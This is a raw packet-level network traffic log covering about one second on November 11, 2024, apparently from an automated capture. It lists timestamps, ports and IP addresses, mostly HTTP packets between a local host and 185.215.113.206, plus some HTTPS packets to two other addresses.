Nov 11, 2024 19:17:54.731955051 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.731969118 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.731986046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732076883 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732089043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732100964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732110977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732115030 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732124090 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732131004 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732135057 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732146978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732163906 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732166052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732177973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732183933 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732191086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732199907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732211113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732223034 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732232094 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732234955 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732247114 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732253075 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732264996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732268095 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732276917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732289076 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732295036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732300043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732311964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732322931 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732340097 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732352018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732367992 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732378960 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732383966 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732394934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732405901 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732405901 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732419014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732422113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732431889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732446909 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732451916 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732459068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732466936 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732470989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732482910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732491970 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732495070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732508898 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732518911 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732526064 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732537985 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732547998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732558012 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732569933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732582092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732589006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732589006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732589006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732592106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732604980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732610941 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732618093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732630014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732626915 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732646942 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732655048 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732665062 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732676983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732681036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732687950 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732695103 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732700109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732712030 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732719898 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732724905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732736111 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732747078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732760906 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732777119 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732785940 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732803106 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732814074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732825041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732835054 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732836962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732850075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732860088 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732870102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732881069 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732881069 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732892036 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732896090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732904911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732916117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732925892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732930899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732933044 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732942104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732949018 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.732955933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732968092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.732973099 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.733002901 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.733851910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733864069 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733876944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733903885 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.733908892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733922005 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733925104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.733933926 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733958960 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.733963013 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733974934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.733974934 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.733999968 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734019041 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734054089 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734065056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734076023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734086037 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734090090 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734101057 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734105110 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734117031 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734122038 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734129906 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734148026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734172106 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734175920 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734188080 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734200001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734206915 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734210968 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734221935 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734221935 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734241009 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734246016 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734257936 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734267950 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734272003 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734286070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734296083 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734309912 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734321117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734321117 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734339952 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734343052 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734352112 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734363079 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734369040 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734379053 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734391928 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734395981 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734405994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734411955 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734420061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734431982 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734442949 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734443903 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734467030 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734467983 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734479904 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734484911 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734493017 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734505892 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734512091 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734519005 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734530926 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734539032 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734544039 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734558105 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734558105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734570980 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734581947 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734584093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734597921 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734608889 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734611034 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734623909 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734627962 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734641075 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734647989 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734652996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734666109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734673977 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734680891 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734689951 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734693050 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734704018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734714985 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734714985 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734729052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734740019 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734754086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734760046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734765053 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734775066 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734781027 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734791994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.734795094 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734812975 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.734837055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.738382101 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.738414049 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.738549948 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.738558054 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.738568068 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.738750935 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.741312027 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.741339922 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.741409063 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.741416931 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.741444111 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.741501093 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.743913889 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.743940115 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.744039059 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.744045973 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.744141102 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.744194031 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744206905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744219065 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744231939 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744236946 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744244099 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744257927 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744261980 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744277954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744283915 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744291067 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744298935 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744302988 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744316101 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744327068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744327068 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744338036 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744350910 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744350910 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744369030 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744375944 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744383097 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744394064 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744405985 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744415998 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744416952 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744431973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744434118 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744443893 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744451046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744457960 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744477034 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744496107 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744499922 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744508028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744518995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744524956 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744532108 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744539022 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744545937 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744553089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744556904 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744569063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744570971 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744587898 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744604111 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744767904 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744784117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744795084 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744806051 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744817019 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744817972 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744831085 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744843960 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744847059 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744857073 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744864941 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744868994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744879961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744887114 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744910955 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.744954109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744960070 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.744972944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744982004 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.744990110 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.744993925 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745002985 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745004892 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.745012999 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745018959 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745018959 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745032072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745033026 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.745038986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745038986 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.745050907 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745058060 CET	443	49876	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.745076895 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745096922 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.745105028 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.745105028 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745114088 CET	49876	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.745141983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745152950 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745166063 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745171070 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745177984 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745184898 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745193958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745202065 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745206118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745207071 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.745213985 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745224953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745229006 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745237112 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745244026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745249033 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745259047 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745261908 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745273113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745275974 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745287895 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745290041 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745301008 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745311975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745313883 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745323896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745330095 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745337009 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745347977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745354891 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.745368004 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745378971 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.745388985 CET	80	49794	185.215.113.206	192.168.2.7
